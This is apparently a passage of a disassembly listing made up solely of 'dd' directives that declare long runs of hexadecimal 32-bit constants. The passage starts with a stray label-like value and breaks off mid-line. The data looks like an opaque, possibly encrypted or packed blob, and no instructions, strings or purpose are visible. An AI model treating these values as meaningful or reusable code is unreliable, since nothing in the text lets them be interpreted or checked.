982DC7B7h dd 5F19DE72h, 7095AE2h, 555A155Ch, 0FEA5FAF3h, 0BEC542ADh dd 9EB85155h, 23C3C952h, 252B151h, 0B462178h, 0EAF920DDh dd 90506F78h, 5DC60111h, 0CD295F32h, 3BEFD1E9h, 83A467E8h dd 8B428042h, 634B13DBh, 0EB54414Fh, 9C96429h, 6E2C2838h dd 8A05D56h, 66032A90h, 0E9074C35h, 36E8EC5Ch, 0FB783FC5h dd 275AD376h, 1876411Ah, 27685170h, 9D945207h, 0BA3D097h dd 32F24364h, 2E37B9A1h, 4AF48318h, 42DA57Ah, 314D0924h dd 0C3C8833Bh, 0CDBEE002h, 6039033Ch, 70A0D7Ch, 0F746611Bh dd 63D83BDEh, 6937C616h, 0E999B0C6h, 9858792Ch, 0D05E105h dd 50ADAC43h, 14106022h, 553B1FC6h, 201ED412h, 2987CBB8h dd 0E933C705h, 1ED0F5F8h, 168A1A99h, 0A3FD316Ch, 4FA85B9Fh dd 9C080665h, 689FFA48h, 0A62A1C98h, 6BB309ADh, 9316D988h dd 9CF879E1h, 0AD383326h, 0C92C1B90h, 0F935C722h, 136ECDFDh dd 231F604h, 1AEF2D72h, 0B6E48650h, 51F15341h, 401B9710h dd 3E02DCBCh, 0C2830246h, 388AD5FFh, 0C7D904C8h, 4E2CB948h dd 0DD1205EEh, 588DCE70h, 7A0F8056h, 0F1010DB1h, 0CD03F3Ch dd 0C975A25Bh, 0C08D6E3Ch, 0A1090A5Dh, 0E25AE938h, 1EC740E4h dd 88771E30h, 5C0006F0h, 840FC90Bh, 0BCAD5431h, 657E5DDFh dd 0CFAD184h, 9D864C55h, 56A4322Fh, 0E08BAE37h, 0B4F75C27h dd 1E66971Eh, 3A5E927h, 0BBE6B54Dh, 50EE66Ah, 792B86BBh dd 6E9B0967h, 6A917493h, 9CC22FE6h, 165F70EFh, 15FFD09h dd 947C1C0Bh, 6C267172h, 400F5FE2h, 0CEC82602h, 0E2C10012h dd 42D2F706h, 2D0BCA81h, 7131B76h, 7B60A979h, 65ECE9BFh dd 0BA5EF4D9h, 4D8421E6h, 7F3C18E8h, 0B8B64B5Ch, 50250184h dd 0D7017EC8h, 9673D4A4h, 196CAF5Eh, 72F425E9h, 0F27E617Ah dd 0FDEB348h, 330B6DEAh, 27E95EB0h, 3371DDBAh, 34D13C64h dd 6D23E26Ah, 0F220134Ch, 0E7814701h, 1B0356F7h, 8153A643h dd 0B281F8EFh, 49C565FDh, 0B5103F29h, 92E90D08h, 78D8E5C3h dd 673130Ch, 9F6CA258h, 5E52DD5h, 6749685Fh, 0E1219249h dd 0BD7A2898h, 0C5EF24B6h, 0BBF23BBFh, 4CB7F02Eh, 0C357638h dd 89530254h, 5C5A0DF6h, 45DFB6B2h, 14E2C0Bh, 840DBA94h dd 41E53D76h, 5A6E2208h, 0FD3AB829h, 0CAFB92C9h, 0E1E9828Fh dd 0A0CCD39Dh, 8ABC4F94h, 7C561064h, 0CA18BB07h, 0AC297423h dd 0E3F300A9h, 0E97FFC63h, 0E7FB6D4h, 48EBF821h, 500245FAh dd 580A9E6Ch, 89068235h dd 886E76C3h, 0F70BCE5Bh, 70D470DDh, 72A42792h, 7FBE5378h dd 68CF602Dh, 46473032h, 0EA5D20D2h, 0B5F0224Ah, 1A04BD45h dd 25B8E842h, 359CDD66h, 0FFB6813h, 0CDD60E61h, 7B26B76Eh dd 27DC3434h, 7A3025D0h, 6B21762Eh, 0B5028FFh, 0C8188009h dd 57A4815Fh, 1880ED5Ch, 780C6BEAh, 0D312212Ch, 0E557F9E9h dd 1E8D12EAh, 0BA9E8D0Fh, 0A21E3A76h, 29D74309h, 39AA7428h dd 0B32E2FA0h, 4301C723h, 52DD8851h, 0F066C27Ah, 0BE26C760h dd 0D5EC08Bh, 0B05C00F4h, 3D68534Fh, 3E4ACF34h, 33848E8h dd 0F55C01C0h, 6E9E043Dh, 0B7824711h, 264C45D5h, 8318028Fh dd 0D8F8C641h, 0B7483220h, 72C1C3E3h, 485EF60Ah, 0F7E9155Ch dd 688532A9h, 0E95CD19Fh, 5A777467h, 6D3A667Ch, 0B55B6023h dd 0E0602C63h, 84E926E8h, 90B8A00Dh, 50492828h, 0DBE69B8h dd 7EFF89DFh, 735E71A2h, 27A83CA1h, 0BFCB1801h, 102C8B6Fh dd 805A5454h, 2B6ED903h, 39E92741h, 9D590CF6h, 0E93A122Fh dd 57C30B10h, 87674D9h, 5A16FCAEh, 0BA342FA4h, 49F19DA8h dd 1ED8141h, 8096BB79h, 781274BEh, 3C875326h, 149A408h dd 5AAABB2Dh, 0A8DD41D7h, 161D807h, 55321EDh, 7A3AB08h dd 22D7662Dh, 4B95746h, 4EA3AB5Ch, 9371A80h, 1BD465Eh dd 38281543h, 261F82Fh, 0F2120BF5h, 0EFD25D7Bh, 1027C57Fh dd 2B2F657h, 33911CFDh, 9F3CAD7h, 9F691608h, 7FE3EE80h dd 312D519Bh, 9DAB16F0h, 680BE9DBh, 6956F614h, 8EDA1655h dd 8E98135h, 9815EEECh, 2DFE96FEh, 14E43356h, 0D340B2EEh dd 0E9F000B8h, 0F09CC789h, 0D65AC181h, 163AEC03h, 84E4BD44h dd 0BF00655Fh, 2A56236Bh, 99095DB0h, 0D8D5A9DCh, 0A4D79E2Eh dd 0E953058Fh, 31FA40FEh, 0D0895BDAh, 0E0D35A1Fh, 22BC257Ch dd 0C92E470Fh, 0FBE1A3F6h, 62C72097h, 441268DEh, 0C18D2AC6h dd 0FE683E08h, 85BEF94Bh, 2A88EEA0h, 1E701D28h, 22E7E0Ah dd 0ED408ADh, 9D0D4000h, 9577CF30h, 70356F80h, 0CD58AE95h dd 0BC8F45FFh, 0BDB5151Bh, 4EB18BCh, 828A4FE2h, 557088C0h dd 0A78E103Dh, 5EEF0941h, 0CFC45450h, 7BE813A3h, 919EF8C4h dd 23612DB7h, 0D3BC4E16h, 42022A7Bh, 825A72E0h, 8DA000D7h dd 9764E509h, 9F5DD42h, 4098F18Fh, 337BD005h, 0F0287190h dd 659D072Dh, 21F48835h, 0A799FF6Bh, 48B44256h, 0B23BCBF5h dd 0CBB35D5Dh, 21021A82h, 7033F5C2h, 7BEEE4C0h, 0A5E9DB3Bh dd 0BB8D165h, 6B02E0C1h, 0B900697Ch, 5E784ACEh, 354DC741h dd 0C15D80D8h, 640F4F23h, 129BE948h, 615E5A90h, 9E473h dd 0B95158C6h, 32A822A9h, 0A095D09Dh, 3B15B7D9h, 0F60308C5h dd 3170E0F5h, 0A05E548Fh, 0C74F730Eh, 6E8939BAh, 9D153C28h dd 604B6BF6h, 4E8CE965h, 0E54177FFh, 4469468h, 1630B9DEh dd 525057B6h, 88289406h, 521EE3DAh, 0CD459CDh, 0C06BE12Fh dd 64ED276Bh, 95D39699h, 8E68DB03h, 32F3D91Ah, 7EDE963Ah dd 88F5B40Fh, 0EF2AA5E1h, 1AC0F044h, 257B46CAh, 2DE74E26h dd 2F0C3CADh, 5C54F90Bh, 1F751CC4h, 0BD20A55Ah, 8745A2CCh dd 309ADA96h, 5364FDB5h, 0AD37D3BDh, 6DBFB580h, 817FB6Eh dd 54AF10E9h, 0BA4BA093h, 1548BE2Eh, 1E94A6C4h, 550D3EBBh dd 0F7748FCAh, 623746D0h, 0F5F19514h, 1110942Ch, 8EAC10Eh dd 810667Fh, 8704C8F3h, 3EFD4AD7h, 0E384813Ah, 0AB192E1Ch dd 624B8C09h, 0D27EC0FAh, 0ADBB578h, 0E284247h, 0B7EF82B5h dd 805A2CF7h, 0F9C9CC25h, 72EE62A7h, 6CA85B04h, 688C407Ch dd 0FE36452Dh, 0DCA5C24Dh, 1D20426Ch, 25F1B0AEh, 56191028h dd 74BBE950h, 56974A84h, 0EA5F94ABh, 0AC7F4203h, 84B5296Eh dd 0C08185Ch, 612F5FA2h, 9527437h, 7BF47DBEh, 2486FA62h dd 27FDB358h, 0A9AC42F0h, 3D6CDD92h, 0C1B54E20h, 83C57C60h dd 8BE46FFCh, 14E917F5h, 0DD2B931Eh, 0D242AEEAh, 514A9172h dd 6DA8096Dh, 31D15AC4h, 0A6165E3Ch, 0E5042955h, 1CC27F5Bh dd 0C818F4FAh, 4ED70088h, 58E90BB1h, 5EE12D64h, 0BF7560BBh dd 33271164h, 2367E0C1h, 0D801801Ah, 0F769A291h, 71B5FDEEh dd 0EB666497h, 4CF50883h, 9603414Dh, 290FDF44h, 2C385B7h dd 0B0E95D08h, 297A4AAh, 11D94929h, 3B010CD4h, 66E9DE53h dd 688092B1h, 0BAF1CEB3h, 560A9982h, 59E05762h, 75F2559Bh dd 0AA66B81Ch, 682D8A80h, 0EA4C4E49h, 5EFDECA1h, 8907C13Dh dd 328B3A6Ch, 0EF02E241h, 5E46C40Ch, 2E908C30h, 0B8317D40h dd 1521913Eh, 0F716F76Ah, 376EF4D6h, 0C22F7641h, 52F7C5ADh dd 0B541BD37h, 0F057C940h, 8BA060FBh, 58120E3Bh, 4B842963h dd 0F789081Eh, 0A63F81D3h, 817BCCF8h, 3CF6E9CCh, 0DDB34F60h dd 841DFCD3h, 5F09B3F8h, 492D0A7Fh, 44BE5607h, 0DD4112F2h dd 0E5D11B00h, 0B40FED81h, 69AD67CAh, 9425BEEh, 2F7638FDh dd 92E7E150h, 4D45EC85h, 0CAD77848h, 0B6C20DAh, 67EE63A5h dd 48E98444h, 9175E90Ch, 0D8F333C0h, 0A02D063Fh, 17C47694h dd 872996BCh, 0E67D39B1h, 45260B08h, 0CC5471CFh, 5E465B15h dd 1ADD32EFh, 4C92754h, 671E0D05h, 0FB029141h, 98AC994Ah dd 708C95Ah, 9FB8E1ACh, 0A312473Ah, 29FB46DDh, 46A50F5Fh dd 2BF716ADh, 0EA8BB0C6h, 52271396h, 0C5BCA211h, 32AA63EBh dd 0CD7298BDh, 0B0F6CE7Fh, 49592BDh, 7FF876BFh, 0CF5CAD2Ch dd 9B7E018Bh, 3E1C161h, 17EF2230h, 0FC9B8664h, 0BD550159h dd 3C2D5F75h, 6F460C82h, 68547C84h, 68C6291Ch, 209D6E44h dd 0BA05A602h, 4EB6519Eh, 2D3A00AEh, 94F624F0h, 0E91BE895h dd 6B4F1D47h, 79AE4D23h, 879460C3h, 0A225B690h, 7E1F68C0h dd 0BE20C0F4h, 0ACE8D9C3h, 8FB29EF4h, 726F6812h, 0E9130C8Fh dd 58974B90h, 19BE1EF1h, 4160CFACh, 0EC1A353Bh, 0DE9310EDh dd 6D2DAE4Eh, 97C01844h, 38A07A09h, 0FADDE943h, 0FDA02D4Ah dd 37842A41h, 63B21E19h, 14C4AE3Ch, 0C500F878h, 65FA9562h dd 4680BA1Eh, 970B35ABh, 0F708DED9h, 2C12F83h, 7E500273h dd 88021D9h, 5F0017F3h, 1F9EB951h, 0C06550F9h, 0C5071DC4h dd 0AFE18139h, 0EC378F10h, 0B91058Ch, 0B4C38087h, 5593A9B2h dd 55D12Bh, 7052B6F1h, 17BD7431h, 9C27446Eh, 0EB4C01F5h dd 5CA565E5h, 46617EE7h, 2FEA5ECBh, 0DEC7E640h, 0C16C1E83h dd 241A590Ch, 0B2806B0Fh, 826EC073h, 80B8342h, 54494D51h dd 3F6B8222h, 848B3358h, 9AB15DDh, 0DAC807F1h, 0F500106Bh dd 65F68125h, 0C219B252h, 8F5CB00Ch, 6FF4D077h, 0A8C21446h dd 30D67297h, 0FB820634h, 0F0490FC8h, 0C22074ECh, 0FB5F5A25h dd 0FB0CF568h, 1FD6E978h, 0B40AD89h, 31EEE828h, 2FE4CD4Eh dd 6A41414Dh, 691695A0h, 8C841B21h, 0E6C5EA6Dh, 0B1640627h dd 0D60DF9D0h, 0E2CB81Fh, 0D2628335h, 2590C1FFh, 2057467Eh dd 2016BE70h, 0DA846C5Ch, 809DABECh, 0B3609DD5h, 826440E9h dd 0AA81E77Fh, 0F92A0105h, 45B8903h, 0E897C150h, 80E28479h dd 68F7C640h, 0BDF6F8A4h, 2457E5CFh, 69EE7743h, 60324DDAh dd 8F55C0FFh, 3222CABh, 6BE07868h, 0BCCDAB5Eh, 0BFFD6CFFh dd 0E474F909h, 57EFDF34h, 0BBB9E917h, 1312A65Fh, 8BB4B055h dd 12361650h, 50F4E842h, 3A4FE988h, 489E92B5h, 13074B9Ch dd 680469C5h, 0CFEF0534h, 61FA5A94h, 3AF09C60h, 2A649061h dd 0A1846C57h, 0FCE90C91h, 52B6E25h, 0F9F08CDBh, 5F048AAh dd 0C9558168h, 0A307E709h dd 0B8F3808Ah, 1D669A2Ch, 254FE268h, 0C13AC649h, 0C1A86FD8h dd 8A1044D4h, 2A2C1D40h, 2CDFF9C8h, 0BC77A543h, 635C2FBBh dd 0D5A5314Dh, 0AF9E09A2h, 68AF020Bh, 3850EE1h, 20018D5Ch dd 5F17D62Ch, 14AB6080h, 0E90A87B6h, 8F134294h, 0CA460CB0h dd 555F50C9h, 58BE89C4h, 0DB96605Eh, 8B2653B5h, 0AC45F329h dd 0F891DAA7h, 110C2F5Ah, 6B38119Ah, 70925BE9h, 0D9B55103h dd 99C2F580h, 0EDD8ECC5h, 0CDFE3297h, 0E1D70516h, 0E3CD5302h dd 2101852Fh, 338F0FE7h, 0D02912D5h, 0E98326F9h, 0C203D3C5h dd 465281BAh, 0DD66D368h, 5B7AD6F4h, 7A6CB1Dh, 875FF829h dd 622A7C89h, 3C7B5E9Bh, 0DCCB97BDh, 19922F5Dh, 95C3E81h dd 6250D948h, 555E2AE6h, 3C816560h, 99C747C1h, 4FF50A6Ah dd 969211F0h, 0C22488F2h, 0D8895004h, 0C04BCFFCh, 0A116D647h dd 0B9E91109h, 445B5A2Fh, 2BF2C09h, 0D6DDE0A7h, 0FB64EFBDh dd 841D133Dh, 2426E47h, 7FF3CBBFh, 0F15F373Ah, 736009E3h dd 0C4661FFEh, 504903D1h, 0B2339EB8h, 0F61DC013h, 61C415BCh dd 68AD01D0h, 502C04D7h, 35031EC0h, 0E85F294Ah, 528B5AF2h dd 7D3F284h, 0D624DEF7h, 0D9BC4782h, 0FA521733h, 0A27B4D7Dh dd 0A9E45F07h, 42AEA25Ah, 0A322F5BFh, 5B0597B8h, 0EA81E2ECh dd 7067FD07h, 81730832h, 9A2A2E09h, 45D78011h, 0C758155Ah dd 964A1918h, 11E0C2Dh, 0E9441CE3h, 93CDDC13h, 112B1C82h dd 0A87D3841h, 250894h, 5C16A7CFh, 0D2F72E0Fh, 76130FB8h dd 0F2C048EEh, 179E2A71h, 0FE78D8C1h, 0DD6C641Eh, 0BCC62917h dd 61BAB062h, 11052F57h, 0C0C56A89h, 68BA80E9h, 58A32AB2h dd 0E916F21Fh, 7B49EE08h, 680B20CEh, 30D46FDAh, 0A5545F7Fh dd 0A76A83Dh, 3829CF0Fh, 7260F83Ah, 0ECB0274Eh, 0FAF75262h dd 59CB02A7h, 0EE685199h, 137046DDh, 0F30A77E9h, 31D3403Fh dd 0C2B08892h, 0B2B1DC80h, 0C02A56B7h, 0B753525Ch, 0E303407Eh dd 28D0C280h, 0A8EAABFAh, 7CD4205Bh, 23F4385Ah, 2C58E107h dd 4C80319h, 2FA2EEA5h, 0A26ACA84h, 51532646h, 0E580C903h dd 0AA060950h, 5680D5F6h, 59EF882Ch, 519FC3A5h, 0CAD8F95Fh dd 40D3E963h, 0D027F737h, 0BFBD7895h, 2B639468h, 27605D82h dd 353A3158h, 55268202h, 0D759044Eh, 2D018F51h, 49441C6Fh dd 74C103Bh, 89A4055Ch, 8DE93A60h, 0FBAC7F12h, 4A2EFB88h dd 9532EFEDh, 73B34AA2h, 88A4BEC4h, 992A8F0h, 61F49AFh dd 3FE1F85h, 0FB6E100Bh, 5E5A63AFh, 6FCAB400h, 0E7817D95h dd 0FE161221h, 0C0D8EE5Ch, 6060E601h, 676A0F26h, 296563F7h dd 0A5A2CCFh, 418290Eh, 5A0BDB81h, 6D2882D5h, 4016415Bh dd 0C009DA42h, 0F8E91020h, 0CBE5BD59h, 2BC76805h, 0ADC104E8h dd 20146349h, 0F279CD2h, 3B770EAh, 472C776Dh, 0BBBEDCE9h dd 261E5598h, 4CDC398Ah, 5D7A9AEDh, 9A90A8B6h, 361F160Eh dd 0D287CC60h, 0AD569F7h, 1C5896DDh, 0D2E95556h, 779DA928h dd 81D8FE4Ch, 0D750A9B2h, 12FDFC2Bh, 0D5228C22h, 9523DD18h dd 3203E47Bh, 0D66A442Dh, 88920055h, 0E96C1E65h, 6B95F57Ah dd 108607B0h, 0D3280E56h, 0F126A63Dh, 49183FF7h, 99B97DF0h dd 0E75F98F5h, 1A98EB29h, 8F32FA6Bh, 55CC0527h, 447737AAh dd 45BA0042h, 2C5950CAh, 0CC6FA29h, 0D8B1613Bh, 0DF3A0B97h dd 0CA2589E6h, 9277659h, 0E67E1Ch, 5C2F9920h, 0E8270A56h dd 0EE0206ABh, 0A0F40A96h, 2F0BD360h, 21E91AEAh, 965D5AE6h dd 0B28FFED2h, 25681873h, 46389947h, 0A70B5395h, 0AF8820F7h dd 0B2EEE9C8h, 0CB8104E3h, 81F56C41h, 2BE6DF1h, 160E029h dd 0AE998EAh, 75957496h, 0EFFE448Eh, 0D15DFF0Bh, 1C4A636Fh dd 2BA59311h, 8FEC3F15h, 1705D803h, 9F5615Ch, 0C65CE8E9h dd 9FD10170h, 0E970BE56h, 4A90B534h, 19A246CCh, 27139758h dd 0B026A73h, 0E3C92B41h, 0D809E2F6h, 540023Eh, 0C905371h dd 8E357360h, 734AB6E4h, 2D00D6ECh, 2E9BEF39h, 8B9DBFE9h dd 0C9C27C1Fh, 33CF8781h, 287CCA2Eh, 3CECE904h, 5B5C7AB7h dd 0D122BE93h, 65327E45h, 8225E25Ah, 0FEB3E953h, 127C2FF9h dd 0D24ED42Fh, 469E50D4h, 288798EDh, 84385E40h, 203481FCh dd 32F54757h, 7FE530h, 191B6E55h, 0EB832D71h, 1FD7B260h dd 3062264Ch, 6139E4D1h, 5DE1978Dh, 5709D6FBh, 69F6DE44h dd 810117B2h, 841653E2h, 8A574A43h, 24D26EAEh, 0C1AE8F76h dd 2A5D9AB3h, 7EAF4C49h, 0D66525CAh, 6E88FF27h, 52C4EF77h dd 3E49F4EAh, 46B02013h, 0B595501h, 0F02A5873h, 0B440980Fh dd 4BD039BDh, 0E531019Eh, 551890C5h, 4C7A5B22h, 6C029532h dd 31E9051Bh, 92E4DFDEh, 0BE0B9AB1h, 959A6250h, 1EE33A71h dd 0F7AF84B4h, 3840D729h, 332603D9h, 3A719D53h, 2BE0EB97h dd 0BCC8B245h, 69F3C003h, 56973D7Eh, 7725FFh, 0BD78F10Bh dd 0E87F4A84h, 53C6512h, 739A9707h, 0ED2520BFh, 902B8D21h dd 3503007Dh, 24CF4163h, 70122805h, 47057DE7h, 6325CEF5h dd 38C76407h, 66C5D509h, 1173E961h, 6AC11F81h, 0EC2F5056h dd 989F78CDh, 766216B6h, 0E7A295B4h, 5609B95Fh, 310B1DD8h dd 0A0F929BAh, 87FA0848h, 0D3B4504Ch, 3BB6D9AEh, 0EAA4C1A8h dd 0B6966E21h, 5694BA04h, 34A06BEh, 50752B3h, 7D0E0A27h dd 4C55A950h, 1C8B2526h, 9785BF1h, 0B91C5A47h, 0D77B84F8h dd 513C57E2h, 0CF3D5393h, 535F24A2h, 964CC904h, 2AFF00BEh dd 8773280Fh, 0B24AE9ECh, 0D1F67F81h, 0F1E9816Ah, 0D7C1D536h dd 9EE1C392h, 0E6A18153h, 6DA42B07h, 35420F3Ah, 291126E2h dd 0E3E36377h, 0ED2B2E76h, 82DD4B1Bh, 5FBD829h, 1A8CAE5Bh dd 0E2D05F29h, 71FBD7A5h, 81D886BCh, 511CC359h, 0FF79CF18h dd 29CEF28h, 0B68744Ch, 0A4474F5Dh, 3A0DB408h, 135D72A5h dd 75AEEA4Dh, 3F07072Bh, 0EF09053Ah, 0E9C2C8B2h, 9951D8C6h dd 8328ACBCh, 0FE75893h, 0FEB80206h, 5C0D9EA9h, 0B44B837Fh dd 844EFF9h, 641674E9h, 2B20BFAAh, 90FB1D39h, 0B3D6BA7h dd 0E3AF61DFh, 0C492A87Bh, 5C8D0A3Eh, 0B109443Bh, 45E2FACBh dd 5055DA63h, 19F79B02h, 36DD45h, 0A806B240h, 9D90ACB8h dd 0E7F46A4Ah, 0AD6C177Ah, 4029E00Eh, 0B4002DE2h, 4843D30Fh dd 0B2EEBEE9h, 3EC5B7C9h, 0B3C05193h, 12881832h, 0F0BAE967h dd 0EF398058h, 0C0DAD101h, 1D965BF8h, 34E3F489h, 2005A463h dd 0BD007BF3h, 76252EA7h, 276BE581h, 8CD54A7Ch, 9030618h dd 10E4E94Dh, 0D9AD89D3h, 0D5C94993h, 2E002E73h, 0F772B2BAh dd 4BD8953Dh, 0E0B054B5h, 57E20882h, 0DD02FE94h, 812C1B50h dd 121902DEh, 0BABB7C89h, 288F8448h, 9266203Dh, 8BAFFBDEh dd 55C0186h, 5D9B35FCh, 0FCF956A7h, 0E6E33909h, 7C052D38h dd 8F680710h, 0FE0993B9h, 5A24F466h, 0CABF61h, 0A0012D48h dd 99B8B50Bh, 20E60190h, 0D93B770Eh, 72B0C3F6h, 0D698561Ah dd 0E690FA4Fh, 6108BEBh, 8D686A42h, 69244916h, 7F6B8C06h dd 98424481h, 0BEE87E0Bh, 0DDAC9193h, 48643B3Eh, 92C9E2EBh dd 0AB5264BEh, 2FE9F8F4h, 4510A29Dh, 0DBA8CB0Eh, 551E612Eh dd 0D6CB4A48h, 0D637ABA7h, 0F4C54242h, 0B0516ED5h, 68E840EBh dd 15374331h, 6601597Bh, 0F580C45Ah, 27A5C848h, 0E516F097h dd 0B0594FD7h, 2D80F319h, 735165Fh, 82000D12h, 1128FD57h dd 8181C6ADh, 8C385AF6h, 7DAC2E54h, 8A09C290h, 0CE00175Eh dd 915984C6h, 584DC5Ch dd 10D2529Eh, 8417CADh, 4A3CBB20h, 2634EBB3h, 0F31006E8h dd 0B1025EA5h, 774C2A5Ah, 873D4104h, 7BD2AB54h, 0C16A8305h dd 0D8FF5B6Ch, 63B25A36h, 0B7F35097h, 0E961C571h, 0D781A4CAh dd 0AC757FE1h, 0C959EC21h, 0F5497491h, 29D996Eh, 8AF7D24h dd 464103F9h, 0C0DA6567h, 712962FDh, 1730CFE3h, 1EDA794Eh dd 5CC61754h, 0D2E734EDh, 8109D0A2h, 19A6B8Ah, 5FA0B230h dd 6243630h, 0E0195009h, 63D25956h, 310BE5E3h, 0DDAD68E0h dd 7F07DF46h, 0E911061Eh, 0C28EB2FEh, 4888A24Bh, 454E16E8h dd 0D72DD9B8h, 0DF858B55h, 0E39E7C94h, 4A0CE340h, 0BF3B010h dd 5FFD12FFh, 0E9B602FFh, 40B5C9CCh, 0B2DD074h, 43249BE4h dd 0C9E95540h, 0BDD7565Ah, 0F3AA8985h, 73B85F82h, 0C80F5CC2h dd 632011F2h, 895A010Ah, 0CF015BD9h, 0CFF63E59h, 0CB91AE93h dd 0F37BA3B2h, 0C1FAD5AEh, 7BF5E9CDh, 7A4AF63Ah, 0D1959BB8h dd 0BF5C1798h, 0FA0273D3h, 76B8F019h, 3A532E46h, 474C503h dd 0C21C773Eh, 515DEC5Ch, 96D7C9BEh, 9B14777Dh, 9F4718C5h dd 152FB3BBh, 584A781Ch, 212F6AC5h, 9043377Ch, 0E947B040h dd 67C29F9Bh, 668059FDh, 0AC9AC055h, 301EBB77h, 0B3882BF2h dd 69BD01C2h, 7A15487Dh, 490002BCh, 51E7E6Ch, 672AF124h dd 689DED89h, 3C484A21h, 2DA83F14h, 53609706h, 0DA2E7F11h dd 843B0F43h, 2957232Ch, 8CA10AFh, 0B6D08242h, 91F2268h dd 2042D0E9h, 9F6050DFh, 0BB63795Ch, 68CE0DA2h, 68B85FB6h dd 0B89A00A8h, 0EFC1D058h, 2FE91305h, 0B7C3FC9Dh, 5E4DC4D3h dd 0F667FB0Eh, 9542B9D5h, 0DE6BEB68h, 6F056259h, 0F1823B56h dd 753CDD74h, 0DAC182EAh, 0DB206BB3h, 600B4A1Ch, 3AC57A46h dd 0BB03658h, 0F5DCAE5Bh, 0BBD84F31h, 33683528h, 2B9566A3h dd 5BCDAAECh, 9A623B30h, 5E42FEA2h, 0C001F8C9h, 2D79F9C3h dd 559DD5Dh, 0BB0BE968h, 0D992CC67h, 3F9C447h, 28AF0402h dd 22A72CD8h, 6177663Bh, 6269A8C3h, 91D1C20Fh, 4889E57Fh dd 0DD2F8056h, 0AA91D616h, 5BF06805h, 8804E38Dh, 0F9E43789h dd 0C8212D5Fh, 53A1B85Fh, 0EF6E4BE9h, 0F618F11Ah, 5451C30Bh dd 0A4E90B0Fh, 7365FCDDh, 85B81665h, 0A5B2FA41h, 0B12748A6h dd 0EA0CDD74h, 0CB4AB2F8h, 7E8A15D1h, 403BB748h, 170B2DBAh dd 0F5415832h, 40FC9560h, 28900BF4h, 6D782ABDh, 0E12FFD26h dd 0A33F5FF0h, 0A0864059h, 48A22B1Fh, 2D5CF02h, 0F7F74047h dd 1BA1C83h, 0F2FE926Bh, 9DAAD652h, 0AD1961FEh, 2C73D4B3h dd 2A230308h, 0C0158BCh, 0DADBE507h, 0B020F101h, 16BD80CAh dd 2D511C1Eh, 12539792h, 5AE4D0BFh, 81A0D101h, 0C89DB8D4h dd 29685B22h, 84EB60BCh, 0FFEAB050h, 0F018FD07h, 0D9E67F0Bh dd 365BDBF6h, 13A7F255h, 7B62A0D9h, 0EB7D486h, 8C2465BEh dd 88B2FF18h, 2884630Eh, 7D9540DEh, 32E933BAh, 0E3A9C265h dd 6674A4C0h, 9836BB58h, 0D98867A6h, 0B95EDD98h, 476946AEh dd 50090EBBh, 57DA8852h, 0E53CD06h, 0F74FE679h, 154D5FB8h dd 4A0F29CBh, 5892ABFh, 0DAD95268h, 0B210AC22h, 4AD178BCh dd 0B5158C33h, 3AB0C748h, 0D53083B2h, 50ADD6E9h, 17620A4Eh dd 0FF768C71h, 6A12E2CAh, 3A3EDD60h, 0CBBD4C17h, 9BF534A2h dd 0C691C19Bh, 68C20A6Dh, 7B7916B3h, 893D7CA7h, 0BD7C329h dd 122445B0h, 6C06E1E3h, 0EF3B7BCh, 680D09DCh, 15711419h dd 0A55B1183h, 48FEC229h, 0A4B388Bh, 0E6D141D4h, 255A0EF4h dd 0D70654CBh, 0F301F505h, 2B223C2Fh, 253EDF01h, 0A817EFC2h dd 0E99890EEh, 8691AF1Eh, 20AF0617h, 0AA2F185Dh, 57E9D10Ch dd 1F2D5684h, 7D39211Eh, 0AAF99813h, 0D2AD34C8h, 70C02D1h dd 6F4D9F6h, 0DFB0BB09h, 52003914h, 0F7845BAh, 2BFBD05h dd 0E9FAF087h, 24FDCD83h, 69CC9FC7h, 4BA700B9h, 0E1816BE7h dd 0EB2D7740h, 0F082F258h, 916C2C8Ch, 142902ABh, 46752DC6h dd 0D3DC25F2h, 0F17344D6h, 9D2FD43Fh, 0D4F22AD4h, 5F8E3B15h dd 89A1EC99h, 88835B9Ch, 0F2209A52h, 18F8C730h, 7FF236BDh dd 86E8C10Eh, 3F4D3724h, 0ED0389F8h, 61965992h, 41B81248h dd 171CA008h, 0EB53319Fh, 8771953Bh, 707D00D1h, 0E95A4968h dd 800970BDh, 8BD720C1h, 92054B3h, 18D50989h, 80AA6458h dd 80545BBh, 0DE293D7Ch, 0FDD0CAC2h, 5261C724h, 5A46D2A0h dd 6ABD8C40h, 1C533D40h, 8F86D3B3h, 0D39ED2F6h, 0BEE9C8DDh dd 1255F109h, 0B823076Eh, 0E9608790h, 0BEF6599Dh, 5241829Fh dd 0C36B2B7Eh, 0E0050630h, 0B6642ABBh, 97C12784h, 80C9307h dd 0C37F210Ah, 6EA02D89h, 20479871h, 0B8079EF0h, 1174E6Ah dd 0BF82C715h, 552C41D7h, 523EE94Ah, 0A713302Eh, 0D6E42451h dd 40E2BFC8h, 1B77B6A6h, 46AE372Dh, 4A5A9FABh, 719F44F0h dd 90E2AF5Ah, 228B45Dh, 5A40B850h, 1B404F3Ch, 0B0FEA5C4h dd 0C3FDE92Ah, 0F1D5E29Fh, 0CC2D40B4h, 404A821Bh, 741D5BCh dd 50335F0h, 7DE92A25h, 0C6290C0h, 289CC265h, 89F2DE27h dd 22D8E5E9h, 257EEDB5h, 0F76432F7h, 0D038FF22h, 0A406D1D5h dd 0E8C2169Bh, 6C129E4Ah, 0D7EA4BEFh, 978E65A9h, 3100B93h dd 0CD9DF9D8h, 7F320962h, 0A7BCC0D9h, 844D09ACh, 98B3583Eh dd 43BC45Fh, 0E08C2E8h, 0A4BE1E59h, 0EF194128h, 50DB30A3h dd 0FBB66542h, 1A81C4FDh, 780ADABEh, 0F1037E4Ah, 4AD4F0D3h dd 10A1FD3Ah, 7DE1B92h, 503E09A6h, 0BB1CE95Fh, 531D27C0h dd 0F5D2123h, 6BE564Dh, 29ABFE81h, 0ADD13BF5h, 80396BE9h dd 7176C20Eh, 964304Fh, 0C16802D4h, 283E711Fh, 6C19058Dh dd 0C3570792h, 0FE85E1E6h, 0F04E30F3h, 2B404835h, 4CD62FEh dd 0D009D5F6h, 0A0EAE078h, 9F5AD08Bh, 0B04B71FEh, 935FFDFDh dd 0B519301h, 1877DFA5h, 30BF15h, 0BA4C057Ch, 759A239Dh dd 81CC01B7h, 0E331A9EAh, 5A09416Ch, 49A18868h, 6228D7E9h dd 0F786DB0Bh, 5E0BA794h, 53073055h, 20DEC454h, 0C3E81225h dd 74A5683Bh, 0FB59F0E6h, 3FBE5868h, 3FFD4F37h, 0FA8AEFA5h dd 0E163E917h, 4CA87AADh, 300B02B5h, 3850F363h, 0A7DA8A82h dd 5CCD6818h, 80B39BE1h, 3809BB53h, 679333Bh, 4A166D3Bh dd 8554FC5Dh, 0EDA4C8C3h, 